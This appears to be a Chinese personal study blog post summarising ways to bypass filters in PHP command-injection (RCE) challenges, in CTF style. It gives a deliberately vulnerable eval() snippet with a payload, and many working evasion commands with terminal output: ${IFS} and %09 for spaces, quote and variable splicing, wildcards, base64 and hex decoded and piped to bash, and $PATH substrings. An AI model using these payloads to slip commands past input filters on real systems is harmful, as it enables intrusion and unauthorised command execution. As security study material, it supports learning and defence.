[一些总结]RCE中一些常见的绕过方法

发布时间 2023-09-23 18:06:05作者: notbad3

相关知识网络上有太多人总结了,但还是想自己动动手写点东西加深加深印象,哈哈。

命令执行漏洞前提条件:

1.存在可调用执行系统命令的函数。
2.该函数参数可控。
3.对参数过滤不严格。

一些常见可以执行命令的函数:

1.eval()//把一串字符串作为PHP代码执行
2.system()/passthru()/exec()
3.call_user_func()/call_user_func_array() //回调函数
4.creat_function()
5.shell_exec //注意这玩意儿没回显,不过可以通过把它传给某个文件或者echo的方法看执行结果,比如:
    $output = shell_exec('ls -l'); // 执行ls -l命令并将输出保存到$output变量中
echo $output;
     /?cmd=ls -al / > viper3.txt
6.还可以用反引号``和$()执行命令。
7.preg_match的/e模式漏洞。

最后那个/e模式好像已经被弃用好久了。。举个栗子:

$pattern = '/(\d+)/e';
$replacement = '"$1" + 1';
$string = '123';

$result = preg_replace($pattern, $replacement, $string);
echo $result; // 输出124

/(\d+)/e模式匹配一个或多个数字,并使用"$1" + 1作为替换字符串。在替换过程中,"$1"被解析为匹配的数字,然后加1。因此,最终的替换结果是123 + 1,即124。

管道符(Windows):

|		直接执行后面的语句
||		如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&		前面和后面命令都要执行,无论前面真假
&&		如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

image-20230923112108751

image-20230923112136791

管道符(Linux):

|		直接执行后面的语句
||		如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&		前面和后面命令都要执行,无论前面真假
&&		如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
;       前后命令都要执行,无论前面真假

空格绕过(ls /和cat等均需空格):

1.${IFS}

[viper3@localhost ~]$ ls${IFS}/
bin   dev  home  lib64	mnt  proc  run	 srv  tmp  var
boot  etc  lib	 media	opt  root  sbin  sys  usr

2.$IFS$9

[viper3@localhost ~]$ ls$IFS$9/
bin   dev  home  lib64	mnt  proc  run	 srv  tmp  var
boot  etc  lib	 media	opt  root  sbin  sys  usr

3.%09

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 

payload:/?cmd=system('ls%09/');

image-20230923151637781

4.<和<>重定向符号

在Linux中,<是用于重定向输入的符号,它将一个文件的内容作为命令的输入。<符号后面跟着文件名,表示将该文件的内容作为命令的输入。

例如,假设有一个名为input.txt的文件,包含了一些文本内容。可以使用<符号将input.txt文件的内容作为命令的输入,如下所示:

command < input.txt

上述命令将会执行command命令,并将input.txt文件的内容作为command命令的输入。

另外,>符号用于重定向输出,它将命令的输出保存到一个文件中。如果文件不存在,则会创建该文件;如果文件已存在,则会覆盖原有内容。

>>符号则用于追加输出,它将命令的输出追加到一个文件的末尾,而不是覆盖原有内容。

例如,假设有一个名为output.txt的文件,可以使用>符号将命令的输出保存到output.txt文件中,如下所示:

command > output.txt

上述命令将会执行command命令,并将其输出保存到output.txt文件中。

而使用>>符号可以将命令的输出追加到output.txt文件的末尾,如下所示:

command >> output.txt

上述命令将会执行command命令,并将其输出追加到output.txt文件的末尾。

总结起来,<用于重定向输入,>用于重定向输出,>>用于追加输出。

[viper3@localhost ~]$ cat<hello.txt
hello world!
yes
no
why
[viper3@localhost ~]$ cat<>hello.txt
hello world!
yes
no
why

注意这东西没法和ls配合使用。

5.利用{}

[viper3@localhost ~]$ {cat,hello.txt}
hello world!
yes
no
why
[viper3@localhost ~]$ {ls,/}
bin   dev  home  lib64	mnt  proc  run	 srv  tmp  var
boot  etc  lib	 media	opt  root  sbin  sys  usr

大括号({})在这个命令中被用作命令行扩展。它会将大括号中的内容展开为多个参数,然后将这些参数传递给命令进行处理。

6.SQL语句中可以利用/**/和()包裹字符串代替空格(这个就不算RCE里的绕过了,哈哈)

过滤关键字,比如cat,tac,ls之类的

替代:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容

利用某些转义符号:

'',"",\,${Z},$*,$@,$任意,${任意}

[viper3@localhost ~]$ l''s
crontab    hello.txtttttt  whatsthetime.txt  模板  图片  下载  桌面
hello.txt  runme2	   公共		     视频  文档  音乐
[viper3@localhost ~]$ l""s
crontab    hello.txtttttt  whatsthetime.txt  模板  图片  下载  桌面
hello.txt  runme2	   公共		     视频  文档  音乐
[viper3@localhost ~]$ l${Z}s
crontab    hello.txtttttt  whatsthetime.txt  模板  图片  下载  桌面
hello.txt  runme2	   公共		     视频  文档  音乐
[viper3@localhost ~]$ l/s
bash: l/s: 没有那个文件或目录
[viper3@localhost ~]$ l\s
crontab    hello.txtttttt  whatsthetime.txt  模板  图片  下载  桌面
hello.txt  runme2	   公共		     视频  文档  音乐
[viper3@localhost ~]$ l$*s
crontab    hello.txtttttt  whatsthetime.txt  模板  图片  下载  桌面
hello.txt  runme2	   公共		     视频  文档  音乐
[viper3@localhost ~]$ l$@s
crontab    hello.txtttttt  whatsthetime.txt  模板  图片  下载  桌面
hello.txt  runme2	   公共		     视频  文档  音乐
[viper3@localhost ~]$ l$9s
crontab    hello.txtttttt  whatsthetime.txt  模板  图片  下载  桌面
hello.txt  runme2	   公共		     视频  文档  音乐
[viper3@localhost ~]$ l${k}s
crontab    hello.txtttttt  whatsthetime.txt  模板  图片  下载  桌面
hello.txt  runme2	   公共		     视频  文档  音乐

拼接:

[viper3@localhost ~]$ a=hel;b=lo.txt;cat $a$b
hello world!
yes
no
why

使用反引号``或$()绕过(比如和printf配合使用):

[viper3@localhost ~]$ printf "\154\163"
ls
[viper3@localhost ~]$ `printf "\154\163"`
crontab    hello.txtttttt  whatsthetime.txt  模板  图片  下载  桌面
hello.txt  runme2	   公共		     视频  文档  音乐
[viper3@localhost ~]$ (printf "\154\163")
ls[viper3@localhost ~]$ $(printf "\154\163")
crontab    hello.txtttttt  whatsthetime.txt  模板  图片  下载  桌面
hello.txt  runme2	   公共		     视频  文档  音乐

printf "??????"这东西是输出???代表的ASCII码值,???代表八进制(也可以用\x??十六进制),$()这个符号是把括号里面的东西当命令执行,反引号同理。

通配符

在Linux中,通配符是用来匹配文件名或路径的特殊字符。它们可以用于命令行中的文件搜索、文件操作和正则表达式等场景中。

以下是常用的通配符:

    *:匹配任意字符(包括空字符)的任意数量。
    ?:匹配单个任意字符。
    []:匹配方括号内的任意一个字符。
    [!] 或 [^]:匹配不在方括号内的任意一个字符。
    {}:用于指定多个选择项,以逗号分隔。
    ~:表示当前用户的主目录。

举例来说,如果你想匹配所有以 .txt 结尾的文件,可以使用通配符 *.txt;如果你想匹配以 a 开头的三个字符的文件,可以使用通配符 a??。

举个栗子:

[viper3@localhost ~]$ cat he*
hello world!
yes
no
why
tom
jerry
chris
jack
[viper3@localhost ~]$ cat ?????.txt
hello world!
yes
no
why
*匹配任意数量,这东西可以和find查找命令结合起来:
find / -name "fl*"   /是根目录,搜索根目录下所有名字带fl的文件(fl开头,后面任意)
注意:这里的?和*都只能用于文件名,如果是命令(类似ls cat等)就不适用。
但是:
m0re师傅的文章里在开头加了个/???就可以把/?用于命令了:

zxcv0221@kali:~/桌面$ /???/?[a][t] ?''?''?''?''
you are good!
zxcv0221@kali:~/桌面$ /???/?[a][t] ?''?''?''?''
you are good!
zxcv0221@kali:~/桌面$ /???/?at flag
you are good!
zxcv0221@kali:~/桌面$ /???/?at ????
you are good!
zxcv0221@kali:~/桌面$ /???/?[a]''[t] ?''?''?''?''
you are good!

编码绕过(应该把前面那个printf的放在这里的,可惜):

base64:(这东西可以和前面的``和$()配合使用)

[viper3@localhost ~]$ echo "Y2F0IGhlbGxvLnR4dA=="|base64 -d
cat hello.txt
[viper3@localhost ~]$ `echo "Y2F0IGhlbGxvLnR4dA=="|base64 -d`
hello world!
yes
no
why

Y2F0IGhlbGxvLnR4dA== 是cat hello.txt的base64

hex:

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

同上,仍能用``及$()替换最后管道符及bash

换行绕过(感觉这个没怎么用过):

[viper3@localhost ~]$ ca\
> t \
> hello\
> .txt
hello world!
yes
no
why

\表示换行,下一行是这行的延续。

m0re师傅的文章中还有这么个东西:

$ echo "ca\\">shell   两个\是为了转义后面的\,以便将其作为普通字符写入文件。
$ echo "t\\">>shell
$ echo " fl\\">>shell
$ echo "ag">>shell
$ cat shell
ca\
t\
 fl\
ag
$ sh shell  
you are good!

sh shell是运行名为"shell"的脚本文件的意思。在Linux中,使用sh命令后跟脚本文件的名称可以运行该脚本。

利用$PATH环境变量绕过:

[viper3@localhost ~]$ echo $PATH
/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:/home/viper3/.local/bin:/home/viper3/bin
[viper3@localhost ~]$ echo ${PATH:5:1}${PATH:2:1}
ls
[viper3@localhost ~]$ `echo ${PATH:5:1}${PATH:2:1}`
crontab    hello.txtttttt  whatsthetime.txt  模板  图片  下载  桌面
hello.txt  runme2	   公共		     视频  文档  音乐
[viper3@localhost ~]$ `${PATH:5:1}${PATH:2:1}`
"hello.txt":1: bad minute
errors in crontab file, can't install.

注意不要少了echo!

以上内容参考了这些师傅们的文章,感谢:

https://blog.csdn.net/qq_53142368/article/details/116152477
https://zhuanlan.zhihu.com/p/391439312
https://blog.csdn.net/qq_45836474/article/details/107248010
https://blog.csdn.net/qq_51295677?type=blog